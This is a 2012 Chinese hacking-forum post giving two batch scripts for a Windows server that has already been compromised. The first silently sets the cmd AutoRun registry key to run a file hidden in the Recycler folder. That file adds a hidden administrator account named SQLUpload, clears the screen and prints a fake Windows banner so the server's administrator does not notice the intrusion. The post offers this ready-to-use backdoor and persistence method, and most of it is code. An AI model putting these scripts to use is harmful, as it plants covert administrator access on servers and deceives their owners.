灯火互联
管理员
管理员
  • 注册日期2011-07-27
  • 发帖数41778
  • QQ
  • 火币41290枚
  • 粉丝1086
  • 关注100
  • 终身成就奖
  • 最爱沙发
  • 忠实会员
  • 灌水天才奖
  • 贴图大师奖
  • 原创先锋奖
  • 特殊贡献奖
  • 宣传大使奖
  • 优秀斑竹奖
  • 社区明星
阅读:2749回复:0

小心,CMD也闹鬼

楼主#
更多 发布于:2012-08-31 19:28

感觉有许多不足。
NTFS分区的回收站是:Recycler而不是Recycled
我为什么说NTFS分区呢?因为大部分服务器为了安全,都把分区给转换为了NTFS分区(我见过N多服务器,暂时没见过别的分区格式的)
而冰的原点批处理是以FAT32类型的回收站,也就是:Recycled
并且执行cmd命令后,会有命令执行完成的提示,稍微有点常识的管理员就会认识到服务器被提权鸟。
这个问题也纠缠了我半天,后来想到了清屏命令,所以就改了下批处理

ECHO Windows Registry Editor Version 5.00>door.reg
ECHO [HKEY_LOCAL_MACHINESOFTWAREMicrosoftCommand Processor]>>door.reg
ECHO "autorun"="c:\Recycler\1.bat">>door.reg
REGEDIT /S door.reg
DEL /F /Q door.reg
copy 1.bat c:\Recycler\1.bat /Y
用记事本保存为:注册系统环境.bat
@ECHO OFF
net user SQLUpload ducun /add
cls
net localgroup administrators SQLUpload /add
cls
@ECHO Microsoft Windows 2003 [版本 5.1.2600]
@ECHO (C) 版权所有 1985-2001 Microsoft Corp.
用记事本保存为:1.bat
注意:1.bat要和注册系统环境.bat放在同一目录,这样每次运行cmd就不会提示命令执行完成了,唯一的缺点就是清屏时会有闪烁。



喜欢0 评分0
游客

返回顶部